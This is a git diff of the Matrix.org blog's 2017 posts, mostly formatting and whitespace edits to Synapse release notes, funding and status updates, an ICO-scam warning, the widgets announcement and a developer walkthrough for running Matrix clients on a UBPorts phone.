    • The new User directory API which supports Matrix clients' providing a much more intuitive and effective user search capability by exposing a list of:
        -
      • Everybody your user shares a room with, and
      • -
      • Everybody in a public room your homeserver knows about
      • +
      • Everybody your user shares a room with, and
      • +
      • Everybody in a public room your homeserver knows about
    • -
    • New support for server admins, including a Shutdown Room API (to remove a room from a local server) and a Media Quarrantine API (to render a media item inaccessible without its actually being deleted)
    • +
    • New support for server admins, including a Shutdown Room API (to remove a room from a local server) and a Media Quarrantine API (to render a media item inaccessible without its actually being deleted)
    As always there are lots of bug fixes and performance improvements, including increasing the default cache factor size from 0.1 to 0.5 (should improve performance for those running their own homeservers). @@ -31,14 +31,14 @@ No changes since v0.22.0-rc2 Changes:
      -
    • Improve performance of storing user IPs (PR #2307, #2308)
    • -
    • Slightly improve performance of verifying access tokens (PR #2320)
    • -
    • Slightly improve performance of event persistence (PR #2321)
    • -
    • Increase default cache factor size from 0.1 to 0.5 (PR #2330)
    • +
    • Improve performance of storing user IPs (PR #2307, #2308)
    • +
    • Slightly improve performance of verifying access tokens (PR #2320)
    • +
    • Slightly improve performance of event persistence (PR #2321)
    • +
    • Increase default cache factor size from 0.1 to 0.5 (PR #2330)
    Bug fixes:
      -
    • Fix bug with storing registration sessions that caused frequent CPU churn +
    • Fix bug with storing registration sessions that caused frequent CPU churn (PR #2319)
    @@ -46,31 +46,31 @@ Bug fixes: Features:
      -
    • Add a user directory API (PR #2252, and many more)
    • -
    • Add shutdown room API to remove room from local server (PR #2291)
    • -
    • Add API to quarantine media (PR #2292)
    • -
    • Add new config option to not send event contents to push servers (PR #2301) +
    • Add a user directory API (PR #2252, and many more)
    • +
    • Add shutdown room API to remove room from local server (PR #2291)
    • +
    • Add API to quarantine media (PR #2292)
    • +
    • Add new config option to not send event contents to push servers (PR #2301) Thanks to @cjdelisle!
    Changes: Bug fixes:
      -
    • Fix users not getting notifications when AS listened to that user_id (PR +
    • Fix users not getting notifications when AS listened to that user_id (PR #2216) Thanks to @slipeer!
    • -
    • Fix users without push set up not getting notifications after joining rooms +
    • Fix users without push set up not getting notifications after joining rooms (PR #2236)
    • -
    • Fix preview url API to trim long descriptions (PR #2243)
    • -
    • Fix bug where we used cached but unpersisted state group as prev group, +
    • Fix preview url API to trim long descriptions (PR #2243)
    • +
    • Fix bug where we used cached but unpersisted state group as prev group, resulting in broken state of restart (PR #2263)
    • -
    • Fix removing of pushers when using workers (PR #2267)
    • -
    • Fix CORS headers to allow Authorization header (PR #2285) Thanks to @krombel!
    • +
    • Fix removing of pushers when using workers (PR #2267)
    • +
    • Fix CORS headers to allow Authorization header (PR #2285) Thanks to @krombel!
    diff --git a/content/blog/2017/07/2017-07-07-a-call-to-arms-supporting-matrix.md b/content/blog/2017/07/2017-07-07-a-call-to-arms-supporting-matrix.md index 0806efdd8..2d2213a29 100644 --- a/content/blog/2017/07/2017-07-07-a-call-to-arms-supporting-matrix.md +++ b/content/blog/2017/07/2017-07-07-a-call-to-arms-supporting-matrix.md @@ -48,7 +48,7 @@ Despite the funding issue, the project really is going very well. Our vital stat And meanwhile, looking back at the last big update (Holiday Special 2016), we can compare our progress with our goals for 2017 thus far:
      -
    • Getting E2E Encryption out of beta ASAP.
    • +
    • Getting E2E Encryption out of beta ASAP.
    This has progressed massively - we haven't really yelled about it yet, but latest https://riot.im/develop/ now finally implements the ability to share message keys between clients to let them decrypt older history and fix “unable to decrypt” errors (Mobile coming soon).  Meanwhile various root causes of “unable to decrypt” errors have been gradually eliminated; I can't actually remember the last time I saw one! Once key-sharing and improved device verification UX is fully tested and tuned we should be able to declare E2E out of beta. @@ -57,7 +57,7 @@ This has progressed massively - we haven't really yelled about it yet, but lates > — Matrix (@matrixdotorg) May 25, 2017
      -
    • Ensuring we can scale beyond Synapse – i.e. implement Dendrite
    • +
    • Ensuring we can scale beyond Synapse – i.e. implement Dendrite
    Likewise, Dendrite is on track: we've implemented all the Hard Stuff which forms the skeleton of Dendrite (core federation, message signing, /sync, message sending, media repository etc) - which takes us to over 50% of Phase 1. After phase 1, we will have an initial usable release for all the core functionality.  Synapse's performance has also improved enormously this year. @@ -66,21 +66,21 @@ Likewise, Dendrite is on track: we've implemented all the Hard Stuff which forms > — Matrix (@matrixdotorg) June 23, 2017
      -
    • Getting as many bots and bridges into Matrix as possible, and doing everything we can to support them, host them and help them be as high quality as possible – making the public federated Matrix network as useful and diverse as possible.
    • +
    • Getting as many bots and bridges into Matrix as possible, and doing everything we can to support them, host them and help them be as high quality as possible – making the public federated Matrix network as useful and diverse as possible.
    Bridges and bots continue - from the core team we have a ‘puppeting' Telegram bridge (matrix-appservice-tg), and from the wider community we have Discord, Skype, Signal, new Rocket.Chat and more.  Getting them polished and live is certainly an area where we need more manpower though.
      -
    • Supporting Riot's leap to the mainstream, ensuring Matrix has at least one killer app.
    • +
    • Supporting Riot's leap to the mainstream, ensuring Matrix has at least one killer app.
    Riot has been sprouting new releases every few weeks, with a huge emphasis on proving UX:
      -
    • an entirely new streamlined sign-up process
    • -
    • the new concept of home pages
    • -
    • a user directory search that actually works
    • -
    • internationalised to 27 languages
    • -
    • compact layout
    • -
    • loads of desktop improvements
    • -
    • piwik analytics support; etc.
    • +
    • an entirely new streamlined sign-up process
    • +
    • the new concept of home pages
    • +
    • a user directory search that actually works
    • +
    • internationalised to 27 languages
    • +
    • compact layout
    • +
    • loads of desktop improvements
    • +
    • piwik analytics support; etc.
    @@ -88,43 +88,43 @@ There is still a lot of UX work to be done, but it's converging fast on being a Meanwhile, a massive update to the iOS & Android apps just landed yesterday, switching to an entirely new UI layout to separate People from Rooms, synchronized Read Markers, and more!
      -
    • Adding the final major missing features: +
    • Adding the final major missing features:
        -
      • Customisable User Profiles (this is almost done, actually)
      • +
      • Customisable User Profiles (this is almost done, actually)
    This is still hovering at ‘almost done', and will be needed for some of the implementation of Groups (see below)..
      -
    • Groups (i.e. ability to define groups of users, and perform invites, powerlevels, etc. per-group as well as per-user)
    • +
    • Groups (i.e. ability to define groups of users, and perform invites, powerlevels, etc. per-group as well as per-user)
    Groups are also in testing in Synapse too!  These will probably be the single biggest change to Matrix that we've seen since E2E encryption landed: it changes the dynamic of the whole network, given users can explicitly declare allegiance to different groups, which in turn have their own home pages and directories etc.  It lets users form communities, and declare their participation in those communities (if desired), and also lets rooms be grouped together.  One of our single biggest requests has been “subrooms” and we're incredibly excited to see how well Groups solve this.
      -
    • Threading
    • +
    • Threading
    Sadly no progress on Threading so far this year.
      -
    • Editable events (and Reactions)
    • +
    • Editable events (and Reactions)
    We're hoping to get looking at this (at last!) once Groups are done.
      -
    • Maturing and polishing the spec (we are way overdue a new release)
    • +
    • Maturing and polishing the spec (we are way overdue a new release)
    You'll have noticed that in the “how many people work on Matrix?” stats above, we didn't mention anyone working on the Spec.  Because right now there isn't anyone explicitly maintaining it, unfortunately; updates are done best-effort when everyone's primary responsibilities allow it.  That said, there's quite a lot of good stuff currently unreleased on HEAD. This is something which is obviously critical to fix once we have sustainable funding sorted again.  We can only apologise to folks like the Ruma developers who have suffered from the spec lag. :(
      -
    • Improving VoIP – especially conferencing.
    • +
    • Improving VoIP – especially conferencing.
    VoIP is improving lots on iOS, thanks to Denis Morozov's GSoC project, and meanwhile we have all new conferencing powered by Jitsi on the horizon in the next few weeks too.
      -
    • Reputation/Moderation management (i.e. spam/abuse filtering).
    • +
    • Reputation/Moderation management (i.e. spam/abuse filtering).
    Lots of thinking about this (see below), but no development yet.
      -
    • Much-needed SDK performance work on matrix-{'{'}react,ios,android{'}'}-sdk.
    • +
    • Much-needed SDK performance work on matrix-{'{'}react,ios,android{'}'}-sdk.
    About 40% of the desired performance work has happened here (although not all has gone live yet).
      -
    • …and a few other things which would be premature to mention right now. :D
    • +
    • …and a few other things which would be premature to mention right now. :D
    All will be revealed in the next week or two - but suffice it to say that Integrations are going to be getting a Lot More Useful™. :) diff --git a/content/blog/2017/07/2017-07-19-status-update.md b/content/blog/2017/07/2017-07-19-status-update.md index 302e75adb..e26e0c50d 100644 --- a/content/blog/2017/07/2017-07-19-status-update.md +++ b/content/blog/2017/07/2017-07-19-status-update.md @@ -24,7 +24,7 @@ Heads up that we've also started our various reward schemes for supporters - fol Finally on the funding side of things: we're setting up the Matrix.org Foundation non-profit legal entity this week, letting us accept donations and sponsorship in a way which can directly fund the core developers (more details as we have them).  As soon as it's incorporated, we'll be able to sign up fully on Liberapay to accept donations there. -### Announcing UpCloud: our very first official Matrix.org Corporate Sponsor! +### Announcing UpCloud: our very first official Matrix.org Corporate Sponsor @@ -40,23 +40,23 @@ We'd like to thank them profusely for being first in line to support us - and we Finally, loads and loads of stuff is happening on Matrix itself.  The main headlines are:
      -
    • Groups.  Work in Synapse and matrix-react-sdk is happening at breakneck speed to get Groups out the door as soon as possible, so we can use them both to support the funding drive and in general to implement one of the most asked-for features of Matrix: the ability to group rooms together into a well-defined community (similar to Slack Teams or Discord Servers etc).  The way Groups work is to let users define groupings of both users and rooms; you can also define a metadata for the group to let you build homepages similar to the one which Riot/Web sprouted a few months ago.  You can then refer to the group of users when inviting/banning/kicking etc - or when managing your own roomlist.  We think it's going to completely change how people use Matrix, and can't wait to see it land on riot.im/develop, although it's still a few weeks away.
    • -
    • E2E Crypto.  We have three main things remaining here, after which E2E should be much much more usable for day-to-day purposes: +
    • Groups.  Work in Synapse and matrix-react-sdk is happening at breakneck speed to get Groups out the door as soon as possible, so we can use them both to support the funding drive and in general to implement one of the most asked-for features of Matrix: the ability to group rooms together into a well-defined community (similar to Slack Teams or Discord Servers etc).  The way Groups work is to let users define groupings of both users and rooms; you can also define a metadata for the group to let you build homepages similar to the one which Riot/Web sprouted a few months ago.  You can then refer to the group of users when inviting/banning/kicking etc - or when managing your own roomlist.  We think it's going to completely change how people use Matrix, and can't wait to see it land on riot.im/develop, although it's still a few weeks away.
    • +
    • E2E Crypto.  We have three main things remaining here, after which E2E should be much much more usable for day-to-day purposes:
        -
      1. Fixing the matrix-js-sdk to store crypto state in indexeddb rather than localstorage, to prevent multiple browser tabs racing and corrupting localstorage (which provides no locking mechanism).  This turns out to be much more of an epic than we thought, as indexeddb's APIs are all strictly async, resulting in a whole bunch of previously synchronous APIs in matrix-js-sdk needing to become async too, as well as requiring us to switch promises library at least from Q to Bluebird.  However, most of this is now done so hopefully the new storage layer will land shortly.  https://github.com/vector-im/riot-web/issues/2325 is the bug tracking this one...
      2. -
      3. Fixing the overall UX of managing devices in a room (including key shares).  https://github.com/vector-im/riot-web/issues/4522 is the bug for this one :)  Relatedly we also need to ensure invitees can decrypt messages in e2e rooms before they join (if history visibility allows it) - this is https://github.com/vector-im/riot-web/issues/3821
      4. -
      5. Fixing the UX of verifying devices (including cross-signing devices), to minimise the pain in verifying device ownership. https://github.com/vector-im/riot-web/issues/2142 is the master bug for this.
      6. +
      7. Fixing the matrix-js-sdk to store crypto state in indexeddb rather than localstorage, to prevent multiple browser tabs racing and corrupting localstorage (which provides no locking mechanism).  This turns out to be much more of an epic than we thought, as indexeddb's APIs are all strictly async, resulting in a whole bunch of previously synchronous APIs in matrix-js-sdk needing to become async too, as well as requiring us to switch promises library at least from Q to Bluebird.  However, most of this is now done so hopefully the new storage layer will land shortly.  https://github.com/vector-im/riot-web/issues/2325 is the bug tracking this one...
      8. +
      9. Fixing the overall UX of managing devices in a room (including key shares).  https://github.com/vector-im/riot-web/issues/4522 is the bug for this one :)  Relatedly we also need to ensure invitees can decrypt messages in e2e rooms before they join (if history visibility allows it) - this is https://github.com/vector-im/riot-web/issues/3821
      10. +
      11. Fixing the UX of verifying devices (including cross-signing devices), to minimise the pain in verifying device ownership. https://github.com/vector-im/riot-web/issues/2142 is the master bug for this.
    • -
    • Integrations.  A large slice of the team is working on our next-generation integration hosting platform, which is starting to look unspeakably awesome.  We'll be yelling loudly about this once there's something to see and play with... +
    • Integrations.  A large slice of the team is working on our next-generation integration hosting platform, which is starting to look unspeakably awesome.  We'll be yelling loudly about this once there's something to see and play with...
    • -
    • Rich Text Editor.  This was originally a GSoC project from last year, but is finally on by default now in matrix-react-sdk - letting users author their messages with full WYSIWYG behaviour and critically have a radically improved autocompletion UI/UX, including emoji, user names, room names, etc.  You can check it out at riot.im/develop already :)
    • -
    • Mentions.  We're finally semantically tagging references to users in messages so that they can be displayed nicely in the UI, and help with highlighting notifications!  This is due as soon as the Rich Text Editor work has finished.
    • -
    • Mobile SDKs.  The iOS & Android teams are currently on a mission to get parity between the iOS & Android SDKs and matrix-react-sdk.  This is stuff like implementing the new User Search API; Membership Event List Summaries; Dark theme(!); Translations; etc.  Progress is looking good!
    • -
    • Synapse performance.  Many many optimisations when calculating push rules when sending messages, which was taking up a substantial amount of the send path time.  Synapse develop looks to have reduced this significantly now - and as of Monday we're running the new optimisations on Matrix.org.
    • -
    • Dendrite.  Lots of work going into implementing Invitations currently, including improvements to the overall append-only log architecture to support them nicely.
    • -
    • Riot-Static.  This is one of our GSoC projects this year, written by Michael Telatynski (t3chguy) - providing a full static (no-JS) read-only view of Matrix, suitable for dumb web browsers and search engines.  It's looking really exciting (although needs CSS) - there's a copy currently deployed over at https://stormy-bastion-98790.herokuapp.com/.
    • +
    • Rich Text Editor.  This was originally a GSoC project from last year, but is finally on by default now in matrix-react-sdk - letting users author their messages with full WYSIWYG behaviour and critically have a radically improved autocompletion UI/UX, including emoji, user names, room names, etc.  You can check it out at riot.im/develop already :)
    • +
    • Mentions.  We're finally semantically tagging references to users in messages so that they can be displayed nicely in the UI, and help with highlighting notifications!  This is due as soon as the Rich Text Editor work has finished.
    • +
    • Mobile SDKs.  The iOS & Android teams are currently on a mission to get parity between the iOS & Android SDKs and matrix-react-sdk.  This is stuff like implementing the new User Search API; Membership Event List Summaries; Dark theme(!); Translations; etc.  Progress is looking good!
    • +
    • Synapse performance.  Many many optimisations when calculating push rules when sending messages, which was taking up a substantial amount of the send path time.  Synapse develop looks to have reduced this significantly now - and as of Monday we're running the new optimisations on Matrix.org.
    • +
    • Dendrite.  Lots of work going into implementing Invitations currently, including improvements to the overall append-only log architecture to support them nicely.
    • +
    • Riot-Static.  This is one of our GSoC projects this year, written by Michael Telatynski (t3chguy) - providing a full static (no-JS) read-only view of Matrix, suitable for dumb web browsers and search engines.  It's looking really exciting (although needs CSS) - there's a copy currently deployed over at https://stormy-bastion-98790.herokuapp.com/.
    Meanwhile, there's a tonne of stuff happening in the community - an excellent summary may be found at this Community Round Up blog post by uhoreg! diff --git a/content/blog/2017/08/2017-08-22-thoughts-on-cryptocurrencies.md b/content/blog/2017/08/2017-08-22-thoughts-on-cryptocurrencies.md index 129d01b4a..235311674 100644 --- a/content/blog/2017/08/2017-08-22-thoughts-on-cryptocurrencies.md +++ b/content/blog/2017/08/2017-08-22-thoughts-on-cryptocurrencies.md @@ -11,14 +11,14 @@ Hi folks, Something that has kept coming up since we ran into funding problems in July is the idea that Matrix could launch a cryptocurrency - a token for use when exchanging items of value within Matrix. This isn't such a far-fetched idea: folks are already starting to look at how to sell content/services within Matrix, and the idea of using a Matrix-specific currency rather than credit card, PayPal, or an existing cryptocurrency could have some major advantages. Specifically:
      -
    • It would let the value of the currency (in terms of its exchange rate relative to other currencies) grow in value directly linked to the growth and success of the Matrix ecosystem as a whole.
    • -
    • In future it could help us reward folks who run Matrix infrastructure (homeservers, identity servers, etc) by "mining" or "farming" style allocations of currency
    • -
    • It could also be a very useful tool for helping fight spam in future.  One way of proving that a user should be allowed to contact strangers (other than a vouching system) could be to spend some money.
    • -
    • An "token generation event" or "initial coin offering" where we sell initial allocations of the currency to the Matrix & cryptocurrency community could be a rather useful way to raise enough money to fully support the core Matrix team going forwards.
    • +
    • It would let the value of the currency (in terms of its exchange rate relative to other currencies) grow in value directly linked to the growth and success of the Matrix ecosystem as a whole.
    • +
    • In future it could help us reward folks who run Matrix infrastructure (homeservers, identity servers, etc) by "mining" or "farming" style allocations of currency
    • +
    • It could also be a very useful tool for helping fight spam in future.  One way of proving that a user should be allowed to contact strangers (other than a vouching system) could be to spend some money.
    • +
    • An "token generation event" or "initial coin offering" where we sell initial allocations of the currency to the Matrix & cryptocurrency community could be a rather useful way to raise enough money to fully support the core Matrix team going forwards.
    Meanwhile, Matrix itself is obviously already a fairly successful decentralised application ecosystem, and we believe that the above points give us a much better reason than average to actually launch a currency.  It's important to note that we don't have plans at this point to evolve the Matrix protocol itself into being able to support cryptocurrencies - we'd instead piggyback on top of an existing established distributed currency ledger.  (Later on, rewarding folks who run Matrix infrastructure by mining would require more interesting integration with Matrix, of course). -However (and this is the important bit), whilst we've been thinking about this a lot over the last few months, we have not yet announced anything concrete.  Over the last few days it's come to our attention that there are some people advertising a "Matrix.org ICO Presale".  This is not legitimate - we are not yet running an ICO or presale, and if/when we do the only place you will hear about it is here on the Matrix.org website. +However (and this is the important bit), whilst we've been thinking about this a lot over the last few months, we have not yet announced anything concrete.  Over the last few days it's come to our attention that there are some people advertising a "Matrix.org ICO Presale".  This is not legitimate - we are not yet running an ICO or presale, and if/when we do the only place you will hear about it is here on the Matrix.org website.  It looks possible that this is a scam to try to steal Ethereum.  We have not yet authorised anyone to sell hypothetical Matrix currency.  If you see this rumour around please let us know so we can try to understand where it's coming from and set the record straight. Anyway, we thought it was worth giving an update on our thoughts about cryptocurrencies - and to publicly clarify that anyone claiming that they are running a Matrix.org ICO is lying. diff --git a/content/blog/2017/08/2017-08-23-introducing-matrix-widgets.md b/content/blog/2017/08/2017-08-23-introducing-matrix-widgets.md index 7ed220c53..5250e7421 100644 --- a/content/blog/2017/08/2017-08-23-introducing-matrix-widgets.md +++ b/content/blog/2017/08/2017-08-23-introducing-matrix-widgets.md @@ -41,11 +41,11 @@ The UI for adding widgets to a room in Riot is currently via Modular - the new This is very much the minimum viable implementation of widgets: the stuff left to do includes:
      -
    • Adding them to the spec, and getting clients other than Riot using them!
    • -
    • Supporting better layouts (especially to allow for more screen real-estate) and more than 2 widgets
    • -
    • Ability to add widgets directly, for situations where Modular isn't available
    • -
    • Speccing APIs for widgets to interact directly with the host client - with the appropriate permissions model
    • -
    • Adding lots more prepackaged widgets to the Modular store!
    • +
    • Adding them to the spec, and getting clients other than Riot using them!
    • +
    • Supporting better layouts (especially to allow for more screen real-estate) and more than 2 widgets
    • +
    • Ability to add widgets directly, for situations where Modular isn't available
    • +
    • Speccing APIs for widgets to interact directly with the host client - with the appropriate permissions model
    • +
    • Adding lots more prepackaged widgets to the Modular store!
    Modular comes with 6 widgets ready to go: Grafana, Jitsi, Etherpad, YouTube, Google Docs and Custom Widget (which lets you add any arbitrary URL into the room). The most exciting of these is probably Jitsi, which provides Hangouts-style video conferencing into any room.  This provides a welcome alternative to our 'native' conferencing functionality which sadly got stuck in a permanent early beta - and includes full screensharing as well!  The only catch is that it hasn't been released on iOS yet, and Android is still be to be implemented - but the experience is a still massive improvement over what we've had historically.  Here's a screenshot of some of the core team doing a 6-way conference with the native Jitsi functionality now included in Riot/iOS! diff --git a/content/blog/2017/08/2017-08-30-pr.md b/content/blog/2017/08/2017-08-30-pr.md index 8104884bc..29c58f5d4 100644 --- a/content/blog/2017/08/2017-08-30-pr.md +++ b/content/blog/2017/08/2017-08-30-pr.md @@ -19,9 +19,11 @@ Matrix core team is based in London (UK) and Rennes (France). ## Branding Identity + Matrix logo, black on transparent background, PNG format (also available in SVG) + Matrix logo, white on transparent background, PNG format diff --git a/content/blog/2017/09/2017-09-19-matrix-riot-for-cryptocurrency-communities.md b/content/blog/2017/09/2017-09-19-matrix-riot-for-cryptocurrency-communities.md index a58fca144..4a20a9ac2 100644 --- a/content/blog/2017/09/2017-09-19-matrix-riot-for-cryptocurrency-communities.md +++ b/content/blog/2017/09/2017-09-19-matrix-riot-for-cryptocurrency-communities.md @@ -13,7 +13,7 @@ Over the last few weeks there's been a huge movement in the cryptocurrency commu To be clear: we see Ethereum, Bitcoin, Ripple, Stellar and all the other decentralised currencies as being very closely related to Matrix.  Just as distributed ledgers disrupt the fragmented oligopoly old-school banking industry, we want Matrix to disrupt the relatively old-school communications systems of today. And so we'd really rather like that Matrix and Riot rocked when it comes to supporting cryptocurrency communities, and this is something we intend to dedicate resources to long term: we've got some big plans. -### Things Matrix provides: +### Things Matrix provides **Decentralisation**. Rather than each community having its own silo, with users having to juggle accounts over all of them, Matrix decentralises rooms over all the different servers. Users can have a single account and still jump into all the other communities (as well as the rest of the Matrix universe). However, each community can run its own server instance (if they want to) and have complete control over its behaviour. @@ -36,46 +36,41 @@ the DM/invite disablin **Other stuff.** Matrix and Riot give loads of other fun stuff too: -### Things we need to improve: +### Things we need to improve -**Groups (aka Communities):  **One of the biggest missing features in Matrix is the ability to define groups of users & rooms, similar to a Slack team or Discord server, which can be used to organise together a set of discussions and generally give a feeling of community.  We've been working hard at this and expect to see it land in Riot/Web in the next few weeks.  In the meanwhile, you can see some of the UX we're aiming for here! - - -**E2E UX (and Riot UX in general):  **While the underlying encryption of Matrix is solid, the UX exposed by Riot needs considerable work - specifically to improve the device verification flow and automatically share keys between trusted devices.  We're continuing to work on this over the next few months.  Likewise there are many areas for possible improvement in Riot's overall UX and design that we're working through as urgently as we can. +**Groups (aka Communities):**One of the biggest missing features in Matrix is the ability to define groups of users & rooms, similar to a Slack team or Discord server, which can be used to organise together a set of discussions and generally give a feeling of community.  We've been working hard at this and expect to see it land in Riot/Web in the next few weeks.  In the meanwhile, you can see some of the UX we're aiming for here! +**E2E UX (and Riot UX in general):**While the underlying encryption of Matrix is solid, the UX exposed by Riot needs considerable work - specifically to improve the device verification flow and automatically share keys between trusted devices.  We're continuing to work on this over the next few months.  Likewise there are many areas for possible improvement in Riot's overall UX and design that we're working through as urgently as we can. **Active Application Services**: The per-server filtering described above is good if you just want to protect users on a given server (e.g. the server you point your community at).  However, if you want to filter all the messages for a given room which may be federated over multiple servers, you need a way to define a centralised chokepoint to define the filtering rules.  Architecturally this is meant to be performed by an ‘Active Application Service' in Matrix, but we've not yet defined or implemented this API.  The idea for the room to define a list of services that messages are filtered through by all servers before they may be accepted for the room.  This would be the ideal solution to the phishing-filtering problem, but in practice filtering just local users (and perhaps disabling federation for particularly sensitive rooms or servers) is probably good enough for the immediate problem here. - Hope this provides some much-needed clarity to the debate! If there are other features cryptocurrency communities need to thrive please let us know, as we'd like to actively help to support decentralized communities.   #matrix-dev:matrix.org is probably the best place for further questions :) - -Finally: one thing that has come up a few times in this discussion has been “Matrix's funding crisis means they may not be here to stay”.  All I can say is that +Finally: one thing that has come up a few times in this discussion has been “Matrix's funding crisis means they may not be here to stay”.  All I can say is that **Matrix is here to stay**. Even if the core team ended up just being Matthew hacking away by himself funded by Patreon/ Liberapay, we have a large and passionate wider dev community who aren't going anywhere.  But more importantly (and not wishing to jinx it), in the last few weeks we have received offers of significant funding which may hopefully resolve the funding crisis for the foreseeable.  Nothing is signed yet, but watch this space, and meanwhile I strongly suggest betting on Matrix being here to stay! - --Matthew diff --git a/content/blog/2017/09/2017-09-28-experiments-with-matrix-on-the-purism-librem5-starring-ubports-and-nheko.md b/content/blog/2017/09/2017-09-28-experiments-with-matrix-on-the-purism-librem5-starring-ubports-and-nheko.md index 8c1e128d8..3bad4e747 100644 --- a/content/blog/2017/09/2017-09-28-experiments-with-matrix-on-the-purism-librem5-starring-ubports-and-nheko.md +++ b/content/blog/2017/09/2017-09-28-experiments-with-matrix-on-the-purism-librem5-starring-ubports-and-nheko.md @@ -35,7 +35,7 @@ Starting point: one old BQ Aquaris E5 ubuntu phone, running some old version of Step one: flash to latest UBPorts image:
    sudo add-apt-repository ppa:ubuntu-sdk-team/ppa
     sudo apt-get update
    @@ -43,28 +43,28 @@ sudo apt-get install ubuntu-device-flash
     sudo apt-get install phablet-tools
     
      -
    • Grab an adb-compatible recovery image (yes, seems like the right place is someone's personal webspace...)
    • +
    • Grab an adb-compatible recovery image (yes, seems like the right place is someone's personal webspace...)
    wget http://people.canonical.com/~jhm/barajas/recovery-vegetahd.img
     
      -
    • If your Ubuntu desktop is running in a VM, make sure you have USB 2.0 or 3.0 support enabled (in Virtualbox this needs the extension pack installed). USB 1 is too slow and the flash will timeout, semi-bricking the phone.
    • -
    • Press volume-up and power on the phone during boot to get at the bootloader. Make sure it's not plugged into USB
    • -
    • Select fastboot
    • -
    • Plug into USB
    • -
    • Flash the recovery image and latest UBPorts OS:
    • +
    • If your Ubuntu desktop is running in a VM, make sure you have USB 2.0 or 3.0 support enabled (in Virtualbox this needs the extension pack installed). USB 1 is too slow and the flash will timeout, semi-bricking the phone.
    • +
    • Press volume-up and power on the phone during boot to get at the bootloader. Make sure it's not plugged into USB
    • +
    • Select fastboot
    • +
    • Plug into USB
    • +
    • Flash the recovery image and latest UBPorts OS:
    sudo ubuntu-device-flash --server=http://system-image.ubports.com touch --device=vegetahd \\
                              --channel=15.04/stable --bootstrap --recovery-image=recovery-vegetahd.img \\
                              --developer-mode --password=secret
     
      -
    • Ensure the system OS is writable. (Ubuntu Touch runs the OS partition read-only by default to protect users. In this case, you can always re-flash it if all goes wrong.)
    • +
    • Ensure the system OS is writable. (Ubuntu Touch runs the OS partition read-only by default to protect users. In this case, you can always re-flash it if all goes wrong.)
    sudo phablet-config writable-image
     
      -
    • Get an SSH server running on the phone before you go insane
    • +
    • Get an SSH server running on the phone before you go insane
    adb shell
     sudo /etc/init.d/ssh start # password is as set when flashing.
    @@ -205,7 +205,7 @@ cd maliit-framework
     # add QMAKE_LFLAGS+='-lQt5Network -lGLESv2' to config.pri
     
     # technically don't need to build all of maliit - only the platform inputcontext plugin is required
    -export QMAKEMODULES=/mnt/build/qt5/qtdeclarative/mkspecs/modules 
    +export QMAKEMODULES=/mnt/build/qt5/qtdeclarative/mkspecs/modules
     /mnt/build/qt5/qtbase/bin/qmake -spec /mnt/build/qt5/qtbase/mkspecs/linux-arm-gnueabihf-g++
     make -j4
     
    diff --git a/content/blog/2017/09/2017-09-29-matrix-live.md b/content/blog/2017/09/2017-09-29-matrix-live.md
    index 8e61697fd..fea3559c7 100644
    --- a/content/blog/2017/09/2017-09-29-matrix-live.md
    +++ b/content/blog/2017/09/2017-09-29-matrix-live.md
    @@ -14,4 +14,5 @@ We appreciate that video blogs are unusual for a FOSS project relative to writte
     Eitherway, just wanted to remind anyone who reads this blog that the video blog exists, and to gently encourage folks to donate at Patreon or Liberapay if they want to get access to the videos on the day they air, rather than having to wait for a week!  Finally, we'd suggest that folks subscribe to the playlist itself on YouTube even if they don't donate, so they can be reminded about new eps.
     
     So, without further ado, here's an alarming montage of Matthew & Amandine geeking about Matrix, in case you've missed the show so far!
    +
     
    diff --git a/content/blog/2017/10/2017-10-02-synapse-0-23-is-out.md b/content/blog/2017/10/2017-10-02-synapse-0-23-is-out.md index 49486779f..8931ad424 100644 --- a/content/blog/2017/10/2017-10-02-synapse-0-23-is-out.md +++ b/content/blog/2017/10/2017-10-02-synapse-0-23-is-out.md @@ -13,32 +13,32 @@ Long-awaited Communities/Groups will land in Synapse 0.24, which should come qui As always, you can get your latest Synapse from https://github.com/matrix-org/synapse or a OS repository of your choice (we've just released the official Debian packages). -### Full details of Synapse 0.23: +### Full details of Synapse 0.23 Features:
      -
    • Add a frontend proxy worker (PR #2344)
    • -
    • Add support for event_id_only push format (PR #2450)
    • -
    • Add a PoC for filtering spammy events (PR #2456)
    • -
    • Add a config option to block all room invites (PR #2457)
    • +
    • Add a frontend proxy worker (PR #2344)
    • +
    • Add support for event_id_only push format (PR #2450)
    • +
    • Add a PoC for filtering spammy events (PR #2456)
    • +
    • Add a config option to block all room invites (PR #2457)
    Changes:
      -
    • Use bcrypt module instead of py-bcrypt (PR #2288) Thanks to @kyrias!
    • -
    • Improve performance of generating push notifications (PR #2343#2357#2365, +
    • Use bcrypt module instead of py-bcrypt (PR #2288) Thanks to @kyrias!
    • +
    • Improve performance of generating push notifications (PR #2343#2357#2365, #2366#2371)
    • -
    • Improve DB performance for device list handling in sync (PR #2362)
    • -
    • Include a sample prometheus config (PR #2416)
    • -
    • Document known to work postgres version (PR #2433) Thanks to @ptman!
    • +
    • Improve DB performance for device list handling in sync (PR #2362)
    • +
    • Include a sample prometheus config (PR #2416)
    • +
    • Document known to work postgres version (PR #2433) Thanks to @ptman!
    Bug fixes:
      -
    • Fix caching error in the push evaluator (PR #2332)
    • -
    • Fix bug where pusherpool didn't start and broke some rooms (PR #2342)
    • -
    • Fix port script for user directory tables (PR #2375)
    • -
    • Fix device lists notifications when user rejoins a room (PR #2443#2449)
    • -
    • Fix sync to always send down current state events in timeline (PR #2451)
    • -
    • Fix bug where guest users were incorrectly kicked (PR #2453)
    • -
    • Fix bug talking to IPv6 only servers using SRV records (PR #2462)
    • -
    • Fix regression in performance of syncs (PR #2470)
    • +
    • Fix caching error in the push evaluator (PR #2332)
    • +
    • Fix bug where pusherpool didn't start and broke some rooms (PR #2342)
    • +
    • Fix port script for user directory tables (PR #2375)
    • +
    • Fix device lists notifications when user rejoins a room (PR #2443#2449)
    • +
    • Fix sync to always send down current state events in timeline (PR #2451)
    • +
    • Fix bug where guest users were incorrectly kicked (PR #2453)
    • +
    • Fix bug talking to IPv6 only servers using SRV records (PR #2462)
    • +
    • Fix regression in performance of syncs (PR #2470)
